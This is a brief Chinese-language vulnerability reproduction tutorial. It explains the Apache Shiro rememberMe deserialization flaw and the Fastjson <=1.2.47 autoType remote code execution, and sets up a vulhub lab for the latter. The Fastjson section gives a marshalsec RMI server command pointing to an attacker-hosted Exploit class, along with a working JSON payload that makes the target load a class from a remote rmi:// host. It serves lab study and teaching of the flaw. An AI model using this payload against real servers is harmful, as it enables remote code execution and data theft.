漏洞复现
Shiro反序列化漏洞
简介
Apache Shiro是一款开源企业常见JAVA安全框架,此框架提供了RememberMe的功能,这是很多网站 都具备的,例如你登录了一个网站,关掉浏览器再次打开网站时,网站会保留你的登录信息情况。
shiro默认使用了CookieRememberMeManager函数,其处理cookie的流程是:得到rememberMe的 cookie值–>Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
原理
AES加密的密钥Key被硬编码在代码里,意味着通过源代码都能拿到AES加密的密钥。因此如果攻击者拿
到了密钥Key,就可以构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie
的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
shiro特征
Fastjson反序列化漏洞复现
FastJson介绍
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换
为 Java 对象。
Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
漏洞成因
FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
通俗理解:漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过 这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步 对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响。
影响版本
Fastjson <= 1.2.47
环境搭建
本地
vulhub-master/fastjson/1.2.47-rce
docker-compose up -d
在线
http://vulfocus.io/#/dashboard
CNVD-2019-22238
复现
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://39.105.200.132:8000/#Exploit" 9999
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://182.92.68.193:rmi的端口/Exp",
"autoCommit":true
}
}